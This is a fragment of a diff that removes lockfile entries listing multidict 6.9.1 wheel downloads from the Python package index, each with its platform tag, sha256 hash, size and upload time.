-    { url = "https://files.pythonhosted.org/packages/91/17/c2064aef64efc007bc89a571f843e5772f27946eb9bc018731bf8016e319/multidict-6.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:5f89dad732280e7a10b74d40b91364f88e13c3f2c08c2ef83a8cd42f7a61af2e", size = 59148, upload-time = "2026-09-21T17:55:08.936Z" },
-    { url = "https://files.pythonhosted.org/packages/45/a1/3bab1827edd813dfb90712af5cbb7fc1473ed4d9c871d103df4f4bb950c2/multidict-6.9.1-cp311-cp311-win_arm64.whl", hash = "sha256:5800368526647146978389dfaa46da3356291e9f0fff9a4ef12e8c2bef964a0d", size = 54258, upload-time = "2026-09-21T17:55:10.191Z" },
-    { url = "https://files.pythonhosted.org/packages/d9/0d/4b5afb6d3e545c9af0cdfe2db8f6f4c6664568c23d863d888674e447e6a4/multidict-6.9.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:29138fef49828542e859828107e42e50d0e587c513b7eb4b2d92bade2b0860fe", size = 98360, upload-time = "2026-09-21T17:55:11.508Z" },
-    { url = "https://files.pythonhosted.org/packages/89/ab/1b9ca66251899981b21138b87da9d5a9c2c81af12b1ea7d19466972f7fe2/multidict-6.9.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:19e31815d41cefc365489e591d105d2baceb2f65aa75d29471fbdbda8651e006", size = 59979, upload-time = "2026-09-21T17:55:12.866Z" },
-    { url = "https://files.pythonhosted.org/packages/36/eb/6ae44062466c26c8469ef43f2481a6a48d8cea0587b2d54514ec92e2adfd/multidict-6.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6ed30be8918e18c8bed0a2e8b70639ecf02feb61ed00ca2e41cfcb2a50fa3f42", size = 57736, upload-time = "2026-09-21T17:55:14.223Z" },
-    { url = "https://files.pythonhosted.org/packages/b9/5c/a67817593019257a4ac8b0d1b4c426030e637c047b0692ef405439ecea7a/multidict-6.9.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:637f4ae36264bd7b8d9a60193acddc1d735ad52e8ed53a19931ea6d921fea8e5", size = 333097, upload-time = "2026-09-21T17:55:15.591Z" },
-    { url = "https://files.pythonhosted.org/packages/90/bf/599ae2e6222822d88a247a8a7ae82fe6fd25d5700757b79603d5edafe6a0/multidict-6.9.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:35fc236507fb1b3138f0af5ecd5f94ed752d4d6d826248eae425f86204013eea", size = 334196, upload-time = "2026-09-21T17:55:17.015Z" },
-    { url = "https://files.pythonhosted.org/packages/15/10/d8aac5acacbe7f5c117866c776ec26d5f15a868759b6f37ad8e7ed3b5b02/multidict-6.9.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e58952f04772f59f11c6e007471449809a30165188669bca8fdb19dde40a8f24", size = 317465, upload-time = "2026-09-21T17:55:18.412Z" },
-    { url = "https://files.pythonhosted.org/packages/19/0a/714f796f7293a8b1c5c3f465a26996231d5450c54e85d64ef1258c091134/multidict-6.9.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d35a4f1c63f07fbb8c8f9946dea98b21eddf6c57421585f71d91864be3ba2a24", size = 345914, upload-time = "2026-09-21T17:55:20.306Z" },
-    { url = "https://files.pythonhosted.org/packages/da/b1/e37fbf769c567be277bcf32df6234035a4384677fcc1bd852752be3d6b93/multidict-6.9.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b5f8771aaaed7f80e84a4e471d2f29ab6721e4595075e54d03ae1ed951b2000a", size = 351163, upload-time = "2026-09-21T17:55:22.21Z" },
-    { url = "https://files.pythonhosted.org/packages/ed/5b/db08419c1e1f7c9d60cfd2787b2b517d7ae4ebbda8281b48a33eb5141467/multidict-6.9.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:976fd7689d69ec78d67d31d38d396d8adb562f7e8368279f76aed4aa451fa06d", size = 336881, upload-time = "2026-09-21T17:55:23.699Z" },
-    { url = "https://files.pythonhosted.org/packages/9b/07/cc9bc8a62651d2d53ab93ee4993b3a71b7cb78eb8ebfc9c757a5b6698617/multidict-6.9.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:95052e8777a86bae87c0bd0b5ab22d809e3d1d02bf69e3e66ddda5ba75a05805", size = 303405, upload-time = "2026-09-21T17:55:25.305Z" },
-    { url = "https://files.pythonhosted.org/packages/b6/0c/8e912afafa70e944dbb8bec4b66ca6e008511395278c0d3dd0e89567536a/multidict-6.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1a8adfcaf96f587ab138476eaddef95f29b8a2a8a9afbfea8d2fd62180995d02", size = 324265, upload-time = "2026-09-21T17:55:26.989Z" },
-    { url = "https://files.pythonhosted.org/packages/66/6a/62c2af80fb085e6234805017af857b8e913dfac7a55e9c1349c27768c58a/multidict-6.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1a53de2772cfb74559df2eb4456ec4eeb908435ec55a84b69370d9d745d62aa8", size = 322085, upload-time = "2026-09-21T17:55:28.732Z" },
-    { url = "https://files.pythonhosted.org/packages/f8/6b/35bf801b336fd960811207203ffdcdc24acc3558b3e7ff2e1c914b141e70/multidict-6.9.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f2ce963299d42fa3f22a90adc0fdf174792ffef5ff4c7ffb68260548fb05580", size = 338107, upload-time = "2026-09-21T17:55:30.303Z" },
-    { url = "https://files.pythonhosted.org/packages/80/41/495ef65bf5bba29d142d81b3fe1b8154b919bed70e96491b1e93c3c26f0f/multidict-6.9.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5b30ddf7234e611ca877575b62840e6af5977f92f1f9d532eedbb05a44ff8004", size = 339631, upload-time = "2026-09-21T17:55:32.012Z" },
-    { url = "https://files.pythonhosted.org/packages/19/bd/057fdff5f4e04dcd40a960e38f77d19d3c4b67dd243ffa5f43718edb29fc/multidict-6.9.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:63ada7ee2e9345695f9e9bc4c65d72222253f07b1ac94fd0e37555cc6f3c7f60", size = 302080, upload-time = "2026-09-21T17:55:33.817Z" },
-    { url = "https://files.pythonhosted.org/packages/3f/de/9ace933ee8dad808632523726f42255b09600087219e3d4ead7369820910/multidict-6.9.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3c95601ed98fad3f6e2f8fe809c3b526b0fab31ef525e00a155e227f3d17f58a", size = 341107, upload-time = "2026-09-21T17:55:35.471Z" },
-    { url = "https://files.pythonhosted.org/packages/d8/ac/7c1204406097bfc5c283d4a3287d61166807d189917567df4c1318484fc4/multidict-6.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c148e8b596000dd3e4bfe206e70f3e666be18d72032e0012555f2373c52e35d6", size = 333482, upload-time = "2026-09-21T17:55:37.002Z" },
-    { url = "https://files.pythonhosted.org/packages/ff/c0/a70c32ea3299ebe00f44533740cb46905717c51faf29bbd3ce8bb5886d9d/multidict-6.9.1-cp312-cp312-win32.whl", hash = "sha256:f9dad513626a33670f17cddc6078e30e311f444c957e8dbfc5b2b4603c8b4edb", size = 52548, upload-time = "2026-09-21T17:55:38.529Z" },
-    { url = "https://files.pythonhosted.org/packages/d7/2e/8c9c2591df01e5692ad1bf92febb082a17b1c6c3a19aa8b7ff49988fd989/multidict-6.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:a16a1dc8529f9e734a41c3b856f3eae7ebacdc061dde3f8a844e0c7889c97203", size = 59622, upload-time = "2026-09-21T17:55:39.86Z" },
-    { url = "https://files.pythonhosted.org/packages/d0/95/59f4472ec512bc180fd207899594c7803ece96262ff9aaa3a4b6d7da6940/multidict-6.9.1-cp312-cp312-win_arm64.whl", hash = "sha256:361f7206cf341ba94fb015688f5c8b480f8e63bd58a4c14a48aeca7851a241cc", size = 54930, upload-time = "2026-09-21T17:55:41.155Z" },
-    { url = "https://files.pythonhosted.org/packages/eb/45/ddf7c76860f5f553a23ad3ca38463ccf5247081618977742c8dc4625355e/multidict-6.9.1-cp313-cp313-android_24_x86_64.whl", hash = "sha256:d7bf9e43282d69561618e8a0ea33368d532ebef42f15c096f427090521dd74f3", size = 63266, upload-time = "2026-09-21T17:55:42.676Z" },
-    { url = "https://files.pythonhosted.org/packages/6d/d3/f4ae5945ea2de597eaeb4eca3a74c59783ace54482c9b49435442b63efa8/multidict-6.9.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:03d47df72f084f757c1cb771188d5f4e3a805e4abc4d67e32509272343ae9382", size = 55771, upload-time = "2026-09-21T17:55:44.016Z" },
-    { url = "https://files.pythonhosted.org/packages/93/7d/15468239920040d01c686e5ae669e6382f7bf31fc3e5e0a6b8f1c3b32d3b/multidict-6.9.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:6bc94fe17c3c56e5418f79515b786b101845f70609b0d19d0c1ba13448e5633a", size = 57116, upload-time = "2026-09-21T17:55:45.315Z" },
-    { url = "https://files.pythonhosted.org/packages/17/1b/b958f06aac2d8b1e485eb1c105b1b159cbf3868249e5142142451577dad2/multidict-6.9.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8f2973bbd2bebd9d2e0cd6394c1292a1a19ccd56bdcbe1e174059f1a39be5b40", size = 97692, upload-time = "2026-09-21T17:55:46.674Z" },
-    { url = "https://files.pythonhosted.org/packages/93/6c/d6cfe18e61010166d7237d7527c775eb9843e7078feadea45b7628751b60/multidict-6.9.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:de7738b8c0bb74c4cc16bbd7fb49fc2bcf6430dba11b3432cd52768ae40933e8", size = 59556, upload-time = "2026-09-21T17:55:48.22Z" },
-    { url = "https://files.pythonhosted.org/packages/46/46/9b4c1127cece0289fb207d04aae5116382ddfcb2a4dc8e0cb49a33f3c7b3/multidict-6.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e5ccad4b7bac125722f48d6f862bed3b514d8526deea06316bb72f152cd30a7c", size = 57357, upload-time = "2026-09-21T17:55:49.998Z" },
-    { url = "https://files.pythonhosted.org/packages/bc/fc/c18b07100a6064573e49e538d13d47eb2b5221f48080512df78aef54ab04/multidict-6.9.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a49ff5cdb33654cb7d6a3c377aa2a83ddefaa1db31eb10bcf3c180aa84f9af8a", size = 330433, upload-time = "2026-09-21T17:55:51.435Z" },
-    { url = "https://files.pythonhosted.org/packages/62/ff/52a0082adeb69656b634609d4fb0ae65456deaae4cca3d5a12656626dc50/multidict-6.9.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b22ff30006a2f28f8bff878fb93413cbe3a4d1fd517c28081d848c90e9cfd2c8", size = 332487, upload-time = "2026-09-21T17:55:52.937Z" },
-    { url = "https://files.pythonhosted.org/packages/39/3e/80bd4729635a7af371ff4dcc312594cf96e73f98854491be8740792de430/multidict-6.9.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3adf06c66041aa21eeb8a71e82379b74773298c8e6d3d839b151aae441a99b94", size = 316911, upload-time = "2026-09-21T17:55:54.751Z" },
-    { url = "https://files.pythonhosted.org/packages/15/f4/7ea4a907e053e924e2e1694d90560f79f72056504bfd5e8483695f9527d2/multidict-6.9.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:963a8d8f97057082679523d0fd4c53a38f86bc58cabe4556faef682ae53fa2fa", size = 344950, upload-time = "2026-09-21T17:55:56.5Z" },
-    { url = "https://files.pythonhosted.org/packages/0d/16/9642ae41fbfbdc546aa481c2b07ae1bc087a94ab5f5020b4d9ab77da401f/multidict-6.9.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b66ccc5c2cdd26e74fa5d4c29ffae424cc6148bf93ce574821783fb3b6d452c5", size = 350264, upload-time = "2026-09-21T17:55:58.073Z" },
-    { url = "https://files.pythonhosted.org/packages/93/f2/e06c8e42074d0a4b8419bfe92afbd1d262190b69549ecbcd2dffa4f103c2/multidict-6.9.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7fd79c521f6290c69125fa2b85fa65d9e657e6a8ffaf722dc881b926bef4aa5c", size = 336213, upload-time = "2026-09-21T17:55:59.723Z" },
-    { url = "https://files.pythonhosted.org/packages/98/43/d7cf9ef4700e7c25244590d1b4f20cf12cbed86beba6c17be4d9e48c1099/multidict-6.9.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1d804e4caf5d5da37d6dac1325da5629ebef1e27a294c2b568b295814aa36c7b", size = 302555, upload-time = "2026-09-21T17:56:01.666Z" },
-    { url = "https://files.pythonhosted.org/packages/7d/3a/54209920324bc3928f5f2ba28b01a6dd957a9d48c3aaff77e38faaf5668d/multidict-6.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bb0d664505f4b112f384cffeee82e91e3f6448d8e574989479db4439b68cba05", size = 322247, upload-time = "2026-09-21T17:56:03.265Z" },
-    { url = "https://files.pythonhosted.org/packages/33/50/df96f961b178b621ab0adbf9221d4fd21534e1064fd9f5e85c1fa27fea55/multidict-6.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:9e14d17773b1b3c758ff153659a1824608a0cb562c45f484b5ed8a433428444a", size = 321787, upload-time = "2026-09-21T17:56:04.894Z" },
-    { url = "https://files.pythonhosted.org/packages/a7/9b/37f354562a8f82f9c1f63d3a94300fc82126d50320175f0702bbd544f87c/multidict-6.9.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:083735b7f395894e43adb278d5dae901448883a835ff8f1977e285fefdb10418", size = 335498, upload-time = "2026-09-21T17:56:06.783Z" },
-    { url = "https://files.pythonhosted.org/packages/1e/44/78e366efc6c004185295cc9eb9711c10f13eadf3b547603b9c5526329976/multidict-6.9.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:b65121091567847a8cb520d364ab22ba90e00d3cc55fa9eb34bb439f0684bcd1", size = 338244, upload-time = "2026-09-21T17:56:09.162Z" },
-    { url = "https://files.pythonhosted.org/packages/ad/2b/ab5bd3964691abe4d14b43bdbdb8a621b77cea2ca352dc93159ec0a4575b/multidict-6.9.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:ea999ae6e80e66ad5eea287860951b033d0104ca34d6d87c7b5125ebe0e12721", size = 301641, upload-time = "2026-09-21T17:56:11.227Z" },
-    { url = "https://files.pythonhosted.org/packages/ea/a8/f6bc899f5aafaba755edc8e4bb934bc00b1e405f8d3fbc1dd10283738074/multidict-6.9.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:095d900c242e00fbe5f321ee072e7278b4153e78c5ce9c1efde167d62c1e4771", size = 340162, upload-time = "2026-09-21T17:56:13.076Z" },
-    { url = "https://files.pythonhosted.org/packages/eb/03/a8fc809ef364b8c231c065ea2ea2f97ae86d4f9a0e36b5721759fd606778/multidict-6.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6441cc837aea58be7d9baef1b2383eb8311ab9303f500f99ac90b584cd78bb14", size = 332826, upload-time = "2026-09-21T17:56:15.175Z" },
-    { url = "https://files.pythonhosted.org/packages/f2/27/32dde80245e2024e9bb7a6ca3c2fb7c695dc74014cba557cc35be6f91e24/multidict-6.9.1-cp313-cp313-win32.whl", hash = "sha256:9c4880d017555d70dea367dd49271830842d48e3891c2da97da7ce8c4abcee40", size = 52378, upload-time = "2026-09-21T17:56:16.959Z" },
-    { url = "https://files.pythonhosted.org/packages/be/78/1bac2987edac273a6b27fa50e9204bc3466c94a7b4f6a44828d730f8810f/multidict-6.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:ac51cd64bae51c462ea58ad2492c9b8209667a4ef60c45c4a304518b67598d5d", size = 59449, upload-time = "2026-09-21T17:56:18.336Z" },
-    { url = "https://files.pythonhosted.org/packages/e1/32/2a77ce19eea48cb9b3521a202b513ba3349aafa702c8317be0b645ffb74b/multidict-6.9.1-cp313-cp313-win_arm64.whl", hash = "sha256:37a9ebe00c698279213d56e6c64e1962ab1e092918270649b397cac3dc196ca4", size = 54713, upload-time = "2026-09-21T17:56:19.774Z" },
-    { url = "https://files.pythonhosted.org/packages/ec/0f/c6041015aa2cdc11e1dff0cae58898ae5525d19e35efd65a4ecf3c6ea235/multidict-6.9.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:fc0dcb22fa9aeabfe3fa4e0430099acff985ec5d77a851382f76cc6146e780e5", size = 62336, upload-time = "2026-09-21T17:56:21.181Z" },
-    { url = "https://files.pythonhosted.org/packages/23/db/95bd0afb130a0149c955f1f066143528d60864e64f41ff5a1e1313609361/multidict-6.9.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:024123f0ab402ab33828e24eb80fa8f25167d0d3783ba5f287e39ed741e6abf9", size = 54892, upload-time = "2026-09-21T17:56:22.63Z" },
-    { url = "https://files.pythonhosted.org/packages/94/cc/8aa34ae8d09498e8da003f485c03371b55cf1bc6d56cff861b3a7de61251/multidict-6.9.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:af1b5a92315048c3e36bbebfa7d4760a9c3e910bc4166f11b20d77d20d6bcfca", size = 56251, upload-time = "2026-09-21T17:56:24.36Z" },
-    { url = "https://files.pythonhosted.org/packages/52/48/22baa3b95375096369b04c4348af14139570f302f951773d2c68bf0ccf2e/multidict-6.9.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:b2483da477932ad1983d1d33c18bc3771c6fb00cfbaaed70a875fd547ef8e840", size = 96345, upload-time = "2026-09-21T17:56:25.777Z" },
-    { url = "https://files.pythonhosted.org/packages/2f/3e/b96779dcac28ec6d491fd821112a0156b519b6701bba186cdf6f6df737f4/multidict-6.9.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:db4d697b18b6ef5528b1f36bfa25072cd2a421869f5963bc0e92c8a34b9e2800", size = 58901, upload-time = "2026-09-21T17:56:27.364Z" },
-    { url = "https://files.pythonhosted.org/packages/f9/b4/8e6d950f02ca6ecc00ecf671f2ddb5dab7017671a8d197326f75621f5786/multidict-6.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:854fd2f1bc6e8a56b89910b5cd7261a8b40f13ebb31572da985ce59c7da0886d", size = 56491, upload-time = "2026-09-21T17:56:28.901Z" },
-    { url = "https://files.pythonhosted.org/packages/ed/8f/212ed7e03282c7bc271e3796bf985b53d5727c2827361e3dd9c5ee6b093f/multidict-6.9.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:03731f6fc036180700c9dc2308205a48e5ca6f3ff03087739ab746f294022201", size = 332297, upload-time = "2026-09-21T17:56:30.495Z" },
-    { url = "https://files.pythonhosted.org/packages/a0/97/555aab000e03ecba85c0a1837fd5674d8bf10949490df7800da3a40660ce/multidict-6.9.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:989261c5f1735a165f2e4e87cf6d5f17ab734fa18f9ad0383d5adfcdaefce701", size = 329197, upload-time = "2026-09-21T17:56:32.652Z" },
-    { url = "https://files.pythonhosted.org/packages/3d/25/f3539b5bdc147beba66015795dfe589eedcc580348fb1a8c69b1df4196b5/multidict-6.9.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:b4c9e5d05b126b267ac048a89a0e2d9b48b1b648add62d4872906304a8590610", size = 308456, upload-time = "2026-09-21T17:56:34.657Z" },
-    { url = "https://files.pythonhosted.org/packages/1e/7d/4665cad8fc326787d218879be879d86dfe32f006c1f88ae47b04d3b52fd5/multidict-6.9.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9d0a21cf76153de8f2d96a877991d6bc59b9ab5180b949e50db73cc193b4a694", size = 343382, upload-time = "2026-09-21T17:56:36.606Z" },
-    { url = "https://files.pythonhosted.org/packages/41/01/e1e9abe27f492b22dede492bc423015597412b14ce074f7475f4ecd80185/multidict-6.9.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e7386aa18d98d6b8af44b92173654ec469237fda35f8e8523e43b581a86f476a", size = 346848, upload-time = "2026-09-21T17:56:38.344Z" },
-    { url = "https://files.pythonhosted.org/packages/f8/e5/8d54118bc228e64e1087f1729647b93bbea225eda4a3f914663a6f410bca/multidict-6.9.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b69651732c64afb691e50cdc3387cae305e0eeff8804fe3e3ce203876494932a", size = 333612, upload-time = "2026-09-21T17:56:40.041Z" },
-    { url = "https://files.pythonhosted.org/packages/76/e1/9509dafc1fc68948e75842a74533ddfa64af57f2b17810e9cacfa68a829b/multidict-6.9.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1fee9a16d88a1c4865610de31ef5c666671020d7a81d1f510eaf3c97d00ebeba", size = 304246, upload-time = "2026-09-21T17:56:42.313Z" },
-    { url = "https://files.pythonhosted.org/packages/1d/b6/96b93808e1bec0b51d49d89859e49b82a94f7b2e58eca0fc44ffcafd3ae5/multidict-6.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7814bbee202acd3bd240204c17d8b87a4c48c81064fd8674dbe527d94d5a4290", size = 321983, upload-time = "2026-09-21T17:56:44.399Z" },
-    { url = "https://files.pythonhosted.org/packages/d9/1c/08e5184df026b9d8e05a6dce5da22628e46bc4a7c7f03b8bf3c6939a8c46/multidict-6.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:95f273bea318a194f656527ee2ed19494327bc500b8e87d9358e3222579aa28d", size = 315927, upload-time = "2026-09-21T17:56:46.208Z" },
-    { url = "https://files.pythonhosted.org/packages/d7/5d/9ff39e7387f6fcc9a81af5dbf055fde08149849a04f8df10ca5b086b0d39/multidict-6.9.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:73bcafa21a78d0776b3ee7cd2a63c66f968eb7db8e8d594e32d7329950f6e828", size = 336827, upload-time = "2026-09-21T17:56:48.021Z" },
-    { url = "https://files.pythonhosted.org/packages/5a/be/30fbb2cab22203128928066de94be247dc9a3230bf2bfc54437ac3b5f9f7/multidict-6.9.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:1a938761c77e0e6edb0c93d02f4e988d44a69e5195e5a3b893e5553311347132", size = 336317, upload-time = "2026-09-21T17:56:49.778Z" },
-    { url = "https://files.pythonhosted.org/packages/bf/f0/2480aef6b7d8e7ab89b064ae14f12ec069570dab3a5c13e0155912293247/multidict-6.9.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:37245ca4105386194dd1d292a6f2aae09bfe1bd7ac6f9ec25093e3cf8e9b143b", size = 303258, upload-time = "2026-09-21T17:56:51.829Z" },
-    { url = "https://files.pythonhosted.org/packages/4c/04/dbe59cf4ea3778600e8e70e30b31aa9118ad6da2844bc9f717804cbaa000/multidict-6.9.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:f0700527dd5bfa8b7204b08330542f4f388899d3c14d885d8a368992e0eb562d", size = 337232, upload-time = "2026-09-21T17:56:53.537Z" },
-    { url = "https://files.pythonhosted.org/packages/f4/8c/abe55548f06f12878588f08eb803c5a391283f01243f784cb00adac79231/multidict-6.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6b7e54fd883671d1a8810704851c044b7173287c552b9f5c3d9e0eb9f00ae194", size = 330261, upload-time = "2026-09-21T17:56:55.335Z" },
-    { url = "https://files.pythonhosted.org/packages/d0/f1/ba67f668478f152bdfa18abe72e7588bd078bf8b42c172fcf542fcf45826/multidict-6.9.1-cp314-cp314-win32.whl", hash = "sha256:e81ae656b9935ac4528a71f96bb7a14d949778ed1897c573d3e7ebb9187f8841", size = 51715, upload-time = "2026-09-21T17:56:57.048Z" },
-    { url = "https://files.pythonhosted.org/packages/33/81/014bb2128aedc8157d2848f0ec8a0209c6b822fb88deea012834e1c4a4e8/multidict-6.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:acddcac38adc8342ba48aba98896faa7928854bebb62542362138655b5367ee3", size = 58621, upload-time = "2026-09-21T17:56:58.531Z" },
-    { url = "https://files.pythonhosted.org/packages/66/34/8f43c03c2d8821a2320b8c560d8a49d0be2920627edfac3f546922f91969/multidict-6.9.1-cp314-cp314-win_arm64.whl", hash = "sha256:32217133dddc58c927805cf6c0731d8144584176b768042ee886d51e71860bc9", size = 53959, upload-time = "2026-09-21T17:57:00.15Z" },
-    { url = "https://files.pythonhosted.org/packages/08/64/4f2a5eeea10b6d42634ba168ec6efc732ef218772e57b8239cd485c202f6/multidict-6.9.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:0b2fb8c349d1103863750b5d8cb5ace766917f4b35f3d883c8f778853eaa9f76", size = 107694, upload-time = "2026-09-21T17:57:01.785Z" },
-    { url = "https://files.pythonhosted.org/packages/32/ce/c68d08ac2096c1528ff20d77fd10f7e401db3e534ac5a1c7726e36a77c2f/multidict-6.9.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:56d834b74c993a7d7cb2b8ab33a0d55c3e0d4a3d2f2da2808a4ad3d79189711b", size = 64766, upload-time = "2026-09-21T17:57:03.52Z" },
-    { url = "https://files.pythonhosted.org/packages/3a/9a/9f5c270c88fe289b4876fe28f9932a70e015a7916aff1e5b0325f7597b11/multidict-6.9.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:783ba7d845d79ce976afd9c1e91a4e5714671defa198ee789e8b23316083a485", size = 62723, upload-time = "2026-09-21T17:57:05.104Z" },
-    { url = "https://files.pythonhosted.org/packages/7c/63/c9a0b131354dd949426166cef712d708f436a8cf261114f8d5d2aec440ca/multidict-6.9.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4d718fa1b5f0d0dd75e86fbbc5b0c93ea3a5d65216c85c61cd5d7cdddfe08455", size = 290445, upload-time = "2026-09-21T17:57:06.687Z" },
-    { url = "https://files.pythonhosted.org/packages/9d/41/ed27d1d20ba91f4e13e8f7dcfaa592614ae0e1d5f45e03171d23c3b098ac/multidict-6.9.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a313bad717dde740959d50850c315b75fd4eb0c5e6b4dc8535db0f1c369be125", size = 304375, upload-time = "2026-09-21T17:57:08.717Z" },
-    { url = "https://files.pythonhosted.org/packages/66/6f/a7b26167173c3b73d6e5ebb0856c5154ad005156c3a2fa4062329921819c/multidict-6.9.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ef01d29fca550ab871fd99154f82c6472aacf8e7def272dfb07b460123850390", size = 281746, upload-time = "2026-09-21T17:57:10.713Z" },
-    { url = "https://files.pythonhosted.org/packages/34/1d/da27bdd49b0cb84263288f5f48dbd915f2d17fd228fee2078ca607e80277/multidict-6.9.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f3bd290711c6e9486173a6ee7cd4e7f00c3971c7908c1ec1b6e5437c5e4c6f9", size = 311499, upload-time = "2026-09-21T17:57:12.467Z" },
-    { url = "https://files.pythonhosted.org/packages/d0/36/ab0299a7abf53e38ff75d96c64480f1e2ff8edde985f93f7a1ad5e08bd94/multidict-6.9.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:81cdc537e0a42e3c0170752fcadbe450246d5c3b4b7231d6eb9672456605ac94", size = 313553, upload-time = "2026-09-21T17:57:14.548Z" },
-    { url = "https://files.pythonhosted.org/packages/5a/44/e21be702efc9c9ba097c8be874c68860b1cb6cf9c85611263039bf95b37e/multidict-6.9.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8b193bf7a443c97d81c47052f60c486071a4bdef4a573fa2514f920089414d45", size = 299898, upload-time = "2026-09-21T17:57:16.192Z" },
-    { url = "https://files.pythonhosted.org/packages/00/8d/e93bc0dc947c7f872e502cfaa7ad9d98f001e1c93cfa6f4940457a6e187a/multidict-6.9.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7a0c98f6a636adf0d7edd60c61589eaf52d149239af754d0bfeb0effedba53a8", size = 273054, upload-time = "2026-09-21T17:57:17.793Z" },
